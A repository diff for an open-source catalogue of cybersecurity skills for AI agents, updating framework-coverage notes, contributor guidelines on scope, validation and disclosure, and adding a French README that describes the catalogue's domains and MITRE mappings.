+This document maps all **291 unique MITRE ATT&CK techniques** (across **149 parent techniques**) referenced in our **817 cybersecurity skills** to the 14 Enterprise ATT&CK tactics. Use this to identify coverage gaps, plan detection engineering priorities, or validate your security program against the ATT&CK framework.
 
 > **How to read this:** Each technique links to its official ATT&CK page. Skills listed under each technique are the ones in this repository that teach detection, hunting, exploitation, or response for that technique.
 
@@ -467,6 +467,43 @@ To regenerate: `python3 extract_attack.py`
 
 ---
 
+## MITRE ATLAS Coverage (v5.5.0)
+
+81 skills mapped to ATLAS adversarial ML techniques.
+
+Key techniques applied:
+- AML.T0051 — LLM Prompt Injection (Execution)
+- AML.T0054 — LLM Jailbreak (Privilege Escalation)
+- AML.T0088 — Generate Deepfakes (AI Attack Staging)
+- AML.T0010 — AI Supply Chain Compromise (Initial Access)
+- AML.T0020 — Poison Training Data (Resource Development)
+- AML.T0070 — RAG Poisoning (Persistence)
+- AML.T0080 — AI Agent Context Poisoning (Persistence)
+- AML.T0056 — Extract LLM System Prompt (Exfiltration)
+
+## MITRE D3FEND Coverage (v1.3)
+
+11 skills mapped to D3FEND defensive countermeasures.
+
+Countermeasures applied span D3FEND tactical categories:
+Harden, Detect, Isolate, Deceive, Evict, Restore.
+Each skill's d3fend_techniques field lists the top 5 most relevant
+defensive countermeasures derived from the skill's ATT&CK technique tags.
+
+## NIST AI RMF Coverage (AI 100-1)
+
+85 skills mapped to NIST AI Risk Management Framework subcategories.
+
+Core functions covered:
+- GOVERN: Organizational accountability for AI risk (GOVERN-1.1, GOVERN-6.1, GOVERN-6.2)
+- MAP: AI risk identification and context (MAP-5.1, MAP-5.2, MAP-1.6)
+- MEASURE: AI risk analysis and evaluation (MEASURE-2.5, MEASURE-2.7, MEASURE-2.8, MEASURE-2.11)
+- MANAGE: AI risk response and recovery (MANAGE-2.4, MANAGE-3.1)
+
+GenAI-specific subcategories applied: GOVERN-6.1, GOVERN-6.2 (responsible deployment policies).
+
+---
+
 <p align="center">
-  <sub>Part of <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills">Anthropic Cybersecurity Skills</a> — 753+ open-source cybersecurity skills for AI agents</sub>
+  <sub>Part of <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills">Anthropic Cybersecurity Skills</a> — 817 open-source cybersecurity skills for AI agents</sub>
 </p>

CITATION.cff

@@ -3,7 +3,7 @@ message: "If you use this repository in your research, tools, or publications, p
 type: software
 title: "Anthropic-Cybersecurity-Skills"
 abstract: >
-  A structured collection of 753 cybersecurity skills for AI agents, covering
+  A structured collection of 817 cybersecurity skills for AI agents, covering
   penetration testing, digital forensics, threat intelligence, incident response,
   cloud security, OT/SCADA security, AI security, and more. Each skill follows
   a standardized format with YAML frontmatter metadata, step-by-step procedures,

CONTRIBUTING.md

@@ -1,5 +1,9 @@
 # Contributing to Anthropic-Cybersecurity-Skills
 
+Before you start, read [SCOPE.md](SCOPE.md). It defines what belongs in this catalogue and what does not, and it will save you building something I have to decline.
+
+Most of the policy below is new. Until now this file said nothing about scope, overlap, disclosure or pull-request size, and the absence of those rules is why several well-made contributions ended up somewhere I could not merge them. That is my failure to document, not anyone's failure to read. **These rules apply to pull requests opened from here on.** Anything already open will be reviewed as it was filed.
+
 ## How to add a new skill
 
 1. Create a new directory: `skills/your-skill-name/`
@@ -8,16 +12,18 @@
    ---
    name: your-skill-name
    description: >-
-     Clear description of what this skill does and when
-     an AI agent should activate it. Include keywords.
+     What the skill does, in one sentence naming the real tools and artefacts.
+     Use when THE TRIGGER CONDITION HOLDS. Keywords: tool, flag, artefact.
+     Do not use for THE ADJACENT TASK - use the-other-skill-name.
    domain: cybersecurity
-   subdomain: [category]
+   subdomain: threat-hunting
    tags: [tag1, tag2, tag3]
    version: "1.0"
    author: your-github-username
    license: Apache-2.0
    ---
    ```
+   `subdomain` is a single value, not a list — `subdomain: [threat-hunting]` is a YAML list and will fail validation. `name` must equal the directory name. Frontmatter values may not contain `<` or `>`.
 3. Write clear, step-by-step instructions in the Markdown body using these sections:
    - ## When to Use
    - ## Prerequisites
@@ -40,32 +46,148 @@
 - [ ] Domain and subdomain are set correctly
 - [ ] Tags include relevant tools, frameworks, and techniques
 
+## Writing the description
+
+The description is the only text an agent sees when it decides whether to load your skill. Everything else in the file is invisible at that moment. Four things have to be in it:
+
+1. **What it does** — the procedure, the real tools, the real artefacts.
+2. **When to fire** — an explicit `Use when …` clause.
+3. **Keywords** — the flags, event IDs, file names and tool names someone would actually search for.
+4. **When *not* to fire** — a `Do not use for …` clause that names the nearest neighbouring skill by slug.
+
+A worked example, the current description of `scanning-docker-images-with-trivy`:
+
+> Scans a Docker image with Trivy for vulnerabilities in OS packages and language dependencies, misconfiguration, exposed secrets, and licence violations, emitting SARIF, CycloneDX, or SPDX output. Use when scanning or gating a specific image, wiring an image scan into CI/CD, or checking an image during an incident investigation. Keywords: Trivy, image scan, --severity, --exit-code, SARIF, ignore file, .trivyignore. Do not use for cluster-wide scanning or non-image targets - use performing-container-security-scanning-with-trivy; when the toolchain is Grype use scanning-container-images-with-grype.
+
+The linter enforces the mechanical parts: 1024 characters maximum, terminal punctuation, a trigger clause, a negative trigger, and a 500-line cap on the file. Roughly 980 pre-existing failures are grandfathered in `tools/lint-baseline.json` so the gate blocks new debt only. That baseline may shrink and may never grow, which means a new skill has to meet the standard even though many old ones do not yet.
+
+## Before you open a pull request
+
+Run the validators locally. All five run in CI on every push and pull request that touches `skills/` or `tools/` — which any skill PR does — and all five have to be green before I can merge. A PR that changes only documentation does not trigger them at all, so an empty checks list there is not a pass.
+
+```bash
+pip install pyyaml   # the only external dependency
+
+python tools/validate-skill.py skills/your-skill-name/      # frontmatter, this skill
+python tools/lint-descriptions.py skills/your-skill-name/   # description quality, this skill
+python tools/validate-agentskills.py --strict               # conformance, whole repo
+python tools/detect-collisions.py                           # near-duplicates, whole repo
+python tools/generate-index.py                              # regenerate index.json
+```
+
+Three things that catch people out:
+
+- **Two of those commands are repo-wide.** `validate-agentskills.py` and `detect-collisions.py` have no single-skill mode, so a failure they report may belong to a skill you never touched. Check the slug in the output before assuming it is yours.
+- **`index.json` is generated, and the PR must carry the regenerated file.** It is refreshed automatically on `main`, but not on your branch, and the freshness gate runs at PR time. If you touched a description and did not commit the regenerated `index.json`, the build fails.
+- **The collision gate is a ratchet, currently sitting exactly at its ceiling.** One new near-duplicate pair fails the build. The cap CI enforces lives in `.github/workflows/validate-skills.yml` and gets lowered as disambiguation lands — read it from there rather than memorising a number.
+
+## One skill per pull request
+
+Open one pull request per skill.
+
+Each skill is reviewed for technical accuracy — whether the flags exist, whether the output format is real, whether the procedure works on the version you claim. That review does not batch. In a ten-skill pull request, one wrong procedure holds up nine good ones, and the whole thing tends to stall.
+
+A PR that adds more than one skill directory will be asked to split. It is not a judgement on the work; it is the only way I can land the good parts quickly. The exception is a mechanical repo-wide change — a lint sweep, a metadata fix across many files — which is fine in one PR as long as the description says plainly what the change is and that nothing else varies.
+
+## Overlap with an existing skill
+
+The catalogue currently has 55 unreviewed near-duplicate description pairs, involving 94 of the 817 skills. Overlapping descriptions are not a cosmetic problem: when two descriptions look alike, the agent picks the wrong one, and both skills get less useful.
+
+Until that backlog is worked down, **a new skill that overlaps an existing one will usually be asked to extend the existing skill instead.** Adding depth to `performing-firmware-extraction-with-binwalk` is worth more to this catalogue right now than a second firmware-extraction skill beside it. That redirect is about where the work lands, not about its quality — an extension PR carries the same authorship and gets the same credit.
+
+Before you write a new skill:
+
+1. Search `index.json` for the tool, the technique and the artefact.
+2. Run `python tools/detect-collisions.py` and see whether your intended description lands near anything.
+3. If something close exists, open an issue proposing the extension, or send a PR against the existing skill.
+
+If the overlap is real but the skills genuinely need to stay separate — different operating system, different tool, different stage of the same investigation — say so in the PR and make both descriptions name the other explicitly. That is how the split is recorded, and it is what `tools/collision-allowlist.json` is for.
+
+## Review and response
+
+I review every pull request myself, and the queue is currently longer than I would like. Small, focused PRs move fastest.
+
+If a PR gets a review request and then goes quiet for 14 days, I may close it as stale. That is housekeeping, not rejection: your branch and your work are untouched, and a single comment reopens the conversation whenever you are ready to pick it up.
+
+## Disclosure
+
+### Self-promotion and vendor links
+
+No undisclosed self-links. If a skill, a reference file, a README entry or a script links to a product, service, repository or domain you are involved with, say so in the PR. A link that exists to send traffic somewhere rather than to help the reader complete the procedure will be removed.
+
+Many skills legitimately cover commercial tools, including ones with no free tier at all. That is fine — the procedure is the point. What is required of vendor-specific content is:
+
+- **Honesty about cost.** If the procedure needs a paid licence, an enterprise appliance or a sales conversation, say so in `## Prerequisites` rather than letting a reader find out at step six.
+- **Documentation links, not marketing links.** Link the vendor's docs, API reference or CLI manual. No pricing pages, no signup funnels, no referral or campaign-tagged URLs.
+- **No cross-selling.** A general procedure should not route the reader toward one vendor's product when the task does not require it.
+
+The `## Tools & Resources` lists are a special case. They carry standards, RFCs and vendor-neutral documentation. If you want to add a commercial product to one, open an issue first naming what it does that no entry already in that list does. "It also does this" is not enough: there are 87 of these lists in the repository and every vendor in a given space has an equal claim on them, so without that bar they turn into directories.
+
+This applies to me as well. Where the README links to something of mine, it should be labelled as mine.
+
+### Affiliation
+
+If you are affiliated with a product, service, vendor, project or domain referenced in your PR — you work there, contract for it, founded it, are paid by it, or maintain it — say so in the PR description. One line is enough.
+
+Disclosure is not disqualifying. People who build a tool often write the most accurate procedure for it, and I would rather have that procedure with a disclosure than a vaguer one without. It is the non-disclosure that damages trust, because it turns every later reader into someone who has to guess. If it is unclear to me, I will ask; a plain answer settles it.
+
+If an undisclosed connection surfaces during review, that is the entire consequence: the PR goes on hold until it is stated, and is then reviewed on its merits like anything else. Adding the disclosure when asked carries no penalty, and nothing is closed over it.
+
+### AI-assisted contributions
+
+AI assistance is allowed. This is a repository of skills for AI agents; banning it would be absurd.
+
+What is required is disclosure and human responsibility:
+
+- **Say so in the PR description.** One line is enough.
+- **A human must have run the commands.** Not read them, not sanity-checked them — run them, on a real system, and seen the output that is now in the skill.
+- **A human takes responsibility.** The `author` frontmatter field names a person or a team account, not a tool, and that account should be able to answer review questions about the procedure.
+- **It still has to pass the validators**, like everything else.
+
+The failure mode to guard against is a generated procedure that was never executed: flags that look plausible but do not exist, options borrowed from a different major version, output formats that were invented rather than observed. That kind of content is worse than no skill at all, because an agent will follow it confidently. Generated and verified is welcome; generated and unverified is not.
+
 ## Subdomains
-Choose the most appropriate subdomain for your skill:
-- web-application-security
-- network-security
-- penetration-testing
-- red-teaming
-- digital-forensics
-- malware-analysis
-- threat-intelligence
-- cloud-security
-- container-security
-- identity-access-management
-- cryptography
-- vulnerability-management
-- compliance-governance
-- zero-trust-architecture
-- ot-ics-security
-- devsecops
-- soc-operations
-- incident-response
-- phishing-defense
-- ransomware-defense
-- api-security
-- mobile-security
-- endpoint-security
-- threat-hunting
+
+Choose the most appropriate subdomain for your skill. `tools/validate-skill.py` is the source of truth; these 34 are the canonical values. A handful of older aliases are still accepted for existing skills and are listed beside their canonical form — the validator prints a warning for them, and new skills should use the canonical value.
+
+- `ai-security`
+- `api-security`
+- `blockchain-security`
+- `cloud-security`
+- `compliance-governance` — also accepts `governance-risk-compliance`
+- `container-security`
+- `cryptography`
+- `data-protection`
+- `deception-technology`
+- `devsecops`
+- `digital-forensics`
+- `endpoint-security`
+- `hardware-firmware-security` — also accepts `firmware-analysis`, `firmware-security`
+- `identity-access-management` — also accepts `identity-and-access-management`, `identity-security`
+- `incident-response`
+- `malware-analysis`
+- `mobile-security`
+- `network-security`
+- `ot-ics-security` — also accepts `ot-security`
+- `penetration-testing` — also accepts `offensive-security`
+- `phishing-defense` — also accepts `social-engineering-defense`
+- `privacy-compliance`
+- `purple-team`
+- `ransomware-defense`
+- `red-teaming` — also accepts `red-team`
+- `soc-operations` — also accepts `security-operations`
+- `supply-chain-security`
+- `threat-detection`
+- `threat-hunting`
+- `threat-intelligence`
+- `vulnerability-management`
+- `web-application-security` — also accepts `application-security`
+- `wireless-security`
+- `zero-trust-architecture` — also accepts `zero-trust`
+
+If none of these fits, open an issue before you submit. Adding a subdomain means changing the validator, and that is a separate conversation from adding a skill.
+
+The thinnest subdomains are the ones most worth contributing to: `data-protection` and `purple-team` have one skill each, and `blockchain-security`, `wireless-security` and `privacy-compliance` have two.
 
 ## Code of Conduct
 This project follows the [Contributor Covenant](CODE_OF_CONDUCT.md). By participating, you agree to uphold this code.

README.fr.md

@@ -0,0 +1,410 @@
+<p align="center">
+  <img src="assets/banner.png" alt="Anthropic Cybersecurity Skills" width="100%">
+</p>
+
+<div align="center">
+
+# Compétences Cybersecurity Anthropic
+
+### La plus grande bibliothèque open source de compétences cybersécurité pour agents IA
+
+[![GARS-2026 Survey](https://img.shields.io/badge/GARS--2026-Take%20the%20Survey-E8B84B?style=for-the-badge&logo=googleforms&logoColor=black)](https://mahipal.engineer/survey?utm_source=github_badge&utm_medium=readme&utm_campaign=gars2026)
+[![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg?style=flat-square)](LICENSE)
+[![Skills](https://img.shields.io/badge/skills-817-brightgreen?style=flat-square)](#ce-quil-contient-29-domaines-de-securite)
+[![Frameworks](https://img.shields.io/badge/frameworks-6-orange?style=flat-square)](#six-frameworks-une-seule-bibliotheque-de-competences)
+[![MITRE F3](https://img.shields.io/badge/MITRE-F3_v1.1-blue?style=flat-square)](https://ctid.mitre.org/fraud/)
+[![Domains](https://img.shields.io/badge/domains-29-9cf?style=flat-square)](#ce-quil-contient-29-domaines-de-securite)
+[![Platforms](https://img.shields.io/badge/platforms-26%2B-blueviolet?style=flat-square)](#plateformes-compatibles)
+[![Last Commit](https://img.shields.io/github/last-commit/mukul975/Anthropic-Cybersecurity-Skills?style=flat-square)](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/commits/main)
+[![agentskills.io](https://img.shields.io/badge/standard-agentskills.io-ff6600?style=flat-square)](https://agentskills.io)
+[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](CONTRIBUTING.md)
+[![Playground](https://img.shields.io/badge/Playground-Casky.ai-blue)](https://casky.ai/?utm_source=github&utm_medium=readme&utm_campaign=cohort_launch#waitlist)
+[![Hermes Agent](https://img.shields.io/badge/Hermes_Agent-compatible-blueviolet?style=flat)](https://github.com/NousResearch/hermes-agent)
+
+
+**817 compétences cybersécurité de niveau production · 29 domaines de sécurité · 6 correspondances de frameworks · 26+ plateformes IA**
+
+[Démarrage rapide](#demarrage-rapide) · [Contenu](#ce-quil-contient-29-domaines-de-securite) · [Frameworks](#six-frameworks-une-seule-bibliotheque-de-competences) · [Plateformes](#plateformes-compatibles) · [Contribuer](#contribuer)
+
+</div>
+
+---
+
+> ⚠️ **Projet communautaire** — Il s'agit d'un projet indépendant créé par la communauté. Non affilié à Anthropic PBC.
+>
+> 🔐 **Usage autorisé et légal uniquement.** Cette bibliothèque inclut des techniques offensives et à double usage (ex. C2 red-team, simulation de phishing, exploitation) destinées à des **tests d'intrusion autorisés, à la recherche en sécurité, à la défense et à l'éducation**. Ne les utilisez que sur des systèmes que vous possédez ou pour lesquels vous avez une **autorisation écrite explicite** de tester, et respectez toutes les lois applicables ainsi que les règles d'engagement. Vous êtes seul responsable de la façon dont vous utilisez ces compétences. Voir SECURITY.md et CODE_OF_CONDUCT.md.
+
+## Donnez à n'importe quel agent IA les compétences de sécurité d'un analyste senior
+
+Un analyste junior sait quel plugin Volatility3 exécuter sur un dump mémoire suspect, quelles règles Sigma détectent un Kerberoasting, et comment analyser une compromission cloud sur trois fournisseurs. **Votre agent IA ne le sait pas — à moins que vous ne lui fournissiez ces compétences.**
+
+Ce dépôt contient **817 compétences cybersécurité structurées** couvrant **29 domaines de sécurité**, chacune suivant le standard ouvert agentskills.io. Chaque compétence est mappée à **six frameworks de l'industrie** — MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, et le MITRE Fight Fraud Framework (F3) — ce qui en fait la seule bibliothèque open source de compétences offrant une couverture unifiée inter-framework. Clonez-la, pointez votre agent dessus, et votre prochaine investigation sécurité bénéficiera d'un guidage de niveau expert en quelques secondes.
+
+## Six frameworks, une seule bibliothèque de compétences
+
+Aucune autre bibliothèque open source de compétences ne mappe chaque compétence à l'ensemble de ces frameworks. Une compétence, six cases de conformité cochées.
+
+|Framework|Version|Couverture dans ce dépôt|Ce qui est mappé|
+|--|--|--|--|
+|MITRE ATT&CK|v19.1|15 tactiques · 286 techniques|Comportements adverses et TTP|
+|NIST CSF 2.0|2.0|6 fonctions · 22 catégories|Posture de sécurité organisationnelle|
+|MITRE ATLAS|v5.4|16 tactiques · 84 techniques|Menaces adverses sur IA/ML|
+|MITRE D3FEND|v1.3|7 catégories · 267 techniques|Contre-mesures défensives|
+|NIST AI RMF|1.0|4 fonctions · 72 sous-catégories|Gestion des risques IA|
+|MITRE F3 (Fight Fraud Framework)|v1.1 (2026-04-09)|8 tactiques · 123 techniques · 94 compétences liées à la fraude|TTP de fraude financière cybernétique|
+
+**Exemple — une seule compétence mappée sur les six frameworks :**
+
+|Compétence|ATT&CK|NIST CSF|ATLAS|D3FEND|AI RMF|F3|
+|--|--|--|--|--|--|--|
+|`analyzing-network-traffic-of-malware`|T1071|DE.CM|AML.T0047|D3-NTA|MEASURE-2.6|—|
+|`detecting-business-email-compromise`|T1566|DE.AE|—|—|—|F1005.006 · monétisation|
+
+### 🆕 MITRE Fight Fraud Framework (F3) — 94 compétences liées à la fraude
+
+Le **MITRE Fight Fraud Framework (F3)** a été publié le **9 avril 2026** par le Center for Threat-Informed Defense (CTID) de MITRE, co-développé avec JPMorganChase, Citigroup, Lloyds Banking Group, Standard Chartered, CrowdStrike, Verizon Business, FS-ISAC, et d'autres. Il s'agit d'un catalogue TTP compatible ATT&CK pour la **fraude financière cybernétique** — comblant le vide laissé par ATT&CK après la compromission initiale.
+
+F3 v1.1 ajoute **deux tactiques spécifiques à la fraude** qu'ATT&CK n'énumère pas :
+
+- **Positioning** (`FA0001`) — actions menées après l'accès pour collecter/manipuler des données et préparer la fraude (ensemencement d'identité synthétique, mise en chauffe de compte, configuration de bénéficiaire, pré-positionnement pour SIM swap, hijack de session bancaire).
+- **Monetization** (`FA0002`) — conversion d'actifs volés en fonds utilisables (empilement via money mule, fraude APP, off-ramping crypto, cash-out par carte, abus remboursement/chargeback).
+
+Les techniques spécifiques à la fraude utilisent des IDs `F1XXX` (par ex. `F1005.003` Add Beneficiary, `F1025.003` Wire Transfer, `F1007` Adversary-in-the-Browser) ; les techniques ATT&CK réutilisées conservent leurs IDs `T1XXX`. Les mappings se trouvent dans chaque bloc de frontmatter `mitre_f3:` — les 123 IDs de techniques F3 v1.1 ont tous été vérifiés à partir du bundle STIX upstream. Voir `docs/mitre-f3-mapping.md` pour le schéma.
+
+### MITRE ATT&CK v19.1 — 817/817 compétences mappées
+
+Chaque compétence contient une liste `mitre_attack` en frontmatter validée contre **MITRE ATT&CK v19.1** (la dernière version) à l'aide de la bibliothèque officielle `mitreattack-python` — 286 techniques distinctes sur les 15 tactiques Enterprise, plus des techniques ICS et Mobile lorsque pertinent. Aucun ID révoqué ou obsolète. La restructuration de Defense Evasion dans v19.1 (désormais séparée en **Stealth** et **Defense Impairment**) est reflétée ci-dessous.
+
+|Tactic|ID|Skills|
+|--|--|--|
+|Reconnaissance|TA0043|103|
+|Resource Development|TA0042|22|
+|Initial Access|TA0001|467|
+|Execution|TA0002|350|
+|Persistence|TA0003|444|
+|Privilege Escalation|TA0004|464|
+|Stealth|TA0005|442|
+|Defense Impairment|TA0112|92|
+|Credential Access|TA0006|202|
+|Discovery|TA0007|237|
+|Lateral Movement|TA0008|68|
+|Collection|TA0009|172|
+|Command and Control|TA0011|123|
+|Exfiltration|TA0010|82|
+|Impact|TA0040|50|
+
+## Démarrage rapide
+
+```bash
+# Option 1 : npx (recommandé)
+npx skills add mukul975/Anthropic-Cybersecurity-Skills
+
+# Option 2 : clonage Git
+git clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
+cd Anthropic-Cybersecurity-Skills
+```
+
+Fonctionne immédiatement avec Claude Code, GitHub Copilot, OpenAI Codex CLI, Cursor, Gemini CLI, et toute plateforme compatible agentskills.io.
+
+## 🌍 GARS-2026 — Global Agentic AI Readiness Survey
+
+Je mène une étude académique mondiale mesurant à quel point les professionnels de la sécurité, les développeurs et les équipes d'entreprise sont réellement prêts pour l'IA agentique — serveurs MCP, tool calling, gouvernance, et workflows human-in-the-loop.
+
+**Si vous utilisez ce dépôt, votre réponse serait une donnée réellement précieuse.**
+
+📋 **Répondez à l'enquête (10 min) :** [Survey Link](https://mahipal.engineer/survey?utm_source=github_badge&utm_medium=readme&utm_campaign=gars2026)
+
+- 60 questions · Anonyme · Supervisé par SRH Berlin
+- Vous recevez **50 Casky Tokens** pour l'accès anticipé à casky.ai
+- Résultats publiés en open access sous CC-BY 4.0
+
+## 🚀 Essayez-le dans le Playground
+
+Découvrez Casky.ai en pratique — aucune configuration requise.
+
+**[→ Lancer le Playground sur Casky.ai](https://casky.ai/?utm_source=github&utm_medium=readme&utm_campaign=cohort_launch#waitlist)**
+
+Le playground vous permet de :
+
+- Exécuter des exercices de compétences cybersécurité en direct sur de vraies cibles
+- Voir des agents IA exécuter des compétences structurées en temps réel
+- Explorer de manière interactive des workflows mappés à MITRE ATT&CK
+- Tester des scénarios de threat hunting, DFIR et pentest
+
+Pas d'installation. Pas de configuration. Juste ouvrir et commencer.
+
+## Pourquoi ce projet existe
+
+La pénurie de main-d'œuvre en cybersécurité a atteint **4,8 millions de postes non pourvus** dans le monde en 2024 (ISC2). Les agents IA peuvent aider à combler cet écart — mais seulement s'ils disposent d'une base de connaissances métier structurée.
+
+Les agents actuels savent écrire du code et chercher sur le web, mais ils n'ont pas les playbooks praticiens qui transforment un LLM générique en analyste sécurité compétent.
+
+Les dépôts d'outils de sécurité existants fournissent des wordlists, des payloads ou du code d'exploitation. Aucun ne fournit à un agent IA le workflow de décision structuré qu'un analyste senior suit : quand utiliser chaque technique, quelles préconditions vérifier, comment exécuter étape par étape, et comment valider les résultats. C'est cet écart que ce projet comble.
+
+**Anthropic Cybersecurity Skills** n'est pas une collection de scripts ou de checklists. C'est une **base de connaissances native IA** conçue dès l'origine pour le standard agentskills.io — frontmatter YAML pour la découverte en sous-seconde, Markdown structuré pour l'exécution pas à pas, et fichiers de référence pour le contexte technique approfondi. Chaque compétence encode de vrais workflows praticiens, pas des résumés générés.
+
+## Ce qu'il contient — 29 domaines de sécurité
+
+|Domaine|Compétences|Capacités clés|
+|--|--|--|
+|Cloud Security|66|AWS, Azure, GCP hardening · CSPM · émulation d'attaques cloud · forensics cloud|
+|Threat Hunting|58|Chasse guidée par hypothèses · détection LOTL · chasse EVTX · chasse à l'échelle du parc|
+|Threat Intelligence|52|STIX/TAXII · MISP · OpenCTI · intégration de flux · profilage d'acteurs|
+|Network Security|43|IDS/IPS · règles de pare-feu · segmentation VLAN · analyse du trafic|
+|Web Application Security|42|OWASP Top 10 · SQLi · XSS · SSRF · désérialisation|
+|Digital Forensics|41|Imagerie disque · forensique mémoire · chronologies Hayabusa/KAPE/Plaso|
+|Malware Analysis|39|Analyse statique/dynamique · rétro-ingénierie · sandboxing|
+|Identity & Access Management|37|Entra ID/ROADtools · phishing par code d'appareil · PAM · identité zero trust|
+|SOC Operations|35|Playbooks · workflows d'escalade · détection Graph-log · exercices tabletop|
+|Red Teaming|33|ADCS/Certipy · BloodHound CE · C2 Sliver/Havoc · relais NTLM|
+|Container Security|33|RBAC Kubernetes · scan d'images · Falco · évasion de conteneurs|
+|Security Operations|28|Corrélation SIEM · analyse de logs · triage d'alertes|
+|OT/ICS Security|28|Modbus · DNP3 · IEC 62443 · défense des historian · SCADA|
+|API Security|28|GraphQL · REST · OWASP API Top 10 · contournement WAF|
+|Incident Response|26|Confinement de compromission · réponse ransomware · playbooks IR|
+|Vulnerability Management|25|Nessus · workflows de scan · priorisation des patchs · CVSS|
+|Penetration Testing|21|Réseau · web · cloud · mobile · mouvement latéral NetExec|
+|DevSecOps|18|Sécurité CI/CD · scan Trivy IaC/images · signature de code|
+|Zero Trust Architecture|17|BeyondCorp · modèle de maturité CISA · microsegmentation|
+|Endpoint Security|17|EDR · détection LOTL · malware fileless · chasse à la persistance|
+|Cryptography|16|TLS · Ed25519 · migration post-quantique · gestion des clés|
+|Phishing Defense|15|Authentification email · détection BEC · IR phishing|
+|AI Security|14|Red-teaming LLM (garak/PyRIT) · injection de prompt · sécurité MCP/agentique · garde-fous|
+|Mobile Security|13|Analyse Android/iOS · pentest mobile · forensics MDM|
+|Ransomware Defense|13|Détection précurseur · réponse · récupération · analyse du chiffrement|
+|Compliance & Governance|9|NIST 800-30/RMF · CMMC · HIPAA · TPRM · CIS benchmarks|
+|Supply Chain Security|8|SBOMs · confusion de dépendances · triage de paquets malveillants · SLSA/Sigstore|
+|Deception Technology|6|Honeytokens · canarytokens · détection de compromission|
+|Hardware & Firmware Security|4|Audit CHIPSEC/UEFI · contournement Secure Boot · attestation TPM · chasse aux bootkits|
+
+## Comment les agents IA utilisent ces compétences
+
+Chaque compétence coûte **environ 30 tokens à scanner** (seulement le frontmatter) et **500 à 2 000 tokens à charger entièrement** (workflow complet). Cette architecture de divulgation progressive permet aux agents de parcourir les 817 compétences en une seule passe sans exploser les fenêtres de contexte.
+
+```text
+Prompt utilisateur : "Analyse ce dump mémoire pour des signes de vol d'identifiants"
+
+Processus interne de l'agent :
+
+  1. Scanne les frontmatters des 817 compétences (~30 tokens chacun)
+     → identifie 12 compétences pertinentes en faisant correspondre tags, description, domaine
+
+  2. Charge les 3 meilleurs résultats :
+     -  performing-memory-forensics-with-volatility3
+     -  hunting-for-credential-dumping-lsass
+     -  analyzing-windows-event-logs-for-credential-access
+
+  3. Exécute le workflow structuré étape par étape
+     → lance les plugins Volatility3, vérifie les schémas d'accès à LSASS,
+        corrèle avec les preuves des journaux d'événements
+
+  4. Valide les résultats à l'aide de la section Verification
+     → confirme les IOCs, mappe les constatations vers ATT&CK T1003 (Credential Dumping)
+```
+
+**Sans ces compétences**, l'agent devine les commandes d'outils et rate des étapes critiques. **Avec elles**, il suit le même playbook qu'un analyste DFIR senior.
+
+## Anatomie d'une compétence
+
+Chaque compétence suit une structure de répertoire cohérente :
+
+```text
+skills/performing-memory-forensics-with-volatility3/
+├── SKILL.md ← Définition de la compétence (frontmatter YAML + corps Markdown)
+├── references/
+│ ├── standards.md ← Mappages MITRE ATT&CK, ATLAS, D3FEND, NIST
+│ └── workflows.md ← Référence détaillée de procédure technique
+├── scripts/
+│ └── process.py ← Scripts d'assistance opérationnels
+└── assets/
+    └── template.md ← Checklists et modèles de rapport remplis
+```
+
+### Frontmatter YAML (exemple réel)
+
+```yaml
+---
+name: performing-memory-forensics-with-volatility3
+description: >-
+  Analyser des dumps mémoire pour extraire les processus en cours,
+  les connexions réseau, le code injecté et les artefacts malware à l'aide
+  du framework Volatility3.
+domain: cybersecurity
+subdomain: digital-forensics
+tags: [forensics, memory-analysis, volatility3, incident-response, dfir]
+atlas_techniques: [AML.T0047]
+d3fend_techniques: [D3-MA, D3-PSMD]
+nist_ai_rmf: [MEASURE-2.6]
+nist_csf: [DE.CM-01, RS.AN-03]
+version: "1.2"
+author: mukul975
+license: Apache-2.0
+---
+```
+
+### Sections du corps Markdown
+
+```md
+## When to Use
+Conditions de déclenchement — quand un agent IA doit-il activer cette compétence ?
+
+## Prerequisites
+Outils requis, niveaux d'accès et configuration d'environnement.
+
+## Workflow
+Guide d'exécution pas à pas avec commandes spécifiques et points de décision.
+
+## Verification
+Comment confirmer que la compétence a été exécutée avec succès.
+```
+
+Les champs du frontmatter : `name` (kebab-case, 1–64 caractères), `description` (riche en mots-clés pour la découverte par agent), `domain`, `subdomain`, `tags`, `atlas_techniques` (IDs MITRE ATLAS), `d3fend_techniques` (IDs MITRE D3FEND), `nist_ai_rmf` (références NIST AI RMF), `nist_csf` (catégories NIST CSF 2.0). Les mappages MITRE ATT&CK sont documentés dans le fichier `references/standards.md` de chaque compétence et dans la couche ATT&CK Navigator incluse dans les releases.
+
+**📊 Couverture MITRE ATT&CK Enterprise — les 15 tactiques**
+
+|Tactic|ID|Coverage|Key skills|
+|--|--|--|--|
+|Reconnaissance|TA0043|Strong|OSINT, énumération de sous-domaines, reconnaissance DNS|
+|Resource Development|TA0042|Moderate|Infrastructure de phishing, détection de mise en place C2|
+|Initial Access|TA0001|Strong|Simulation de phishing, détection d'exploit, forced browsing|
+|Execution|TA0002|Strong|Analyse PowerShell, malware fileless, script block logging|
+|Persistence|TA0003|Strong|Tâches planifiées, registre, comptes de service, LOTL|
+|Privilege Escalation|TA0004|Strong|Kerberoasting, attaques AD, élévation de privilèges cloud|
+|Stealth|TA0005|Strong|Obfuscation, analyse rootkit, détection d'évasion|
+|Defense Impairment|TA0112|Strong|Désactivation EDR, destruction de logs, contournement de défenses|
+|Credential Access|TA0006|Strong|Détection Mimikatz, pass-the-hash, credential dumping|
+|Discovery|TA0007|Moderate|BloodHound, énumération AD, scan réseau|
+|Lateral Movement|TA0008|Strong|Exploits SMB, détection des déplacements latéraux avec Splunk|
+|Collection|TA0009|Moderate|Forensics email, détection de data staging|
+|Command and Control|TA0011|Strong|Beaconing C2, DNS tunneling, analyse Cobalt Strike|
+|Exfiltration|TA0010|Strong|Exfiltration DNS, contrôles DLP, détection de perte de données|
+|Impact|TA0040|Strong|Défense ransomware, analyse du chiffrement, récupération|
+
+Un fichier de couche **ATT&CK Navigator** est inclus dans les assets de release v1.0.0 pour la visualisation de la couverture.
+
+**📊 Alignement NIST CSF 2.0 — les 6 fonctions**
+
+|Function|Skills|Examples|
+|--|--|--|
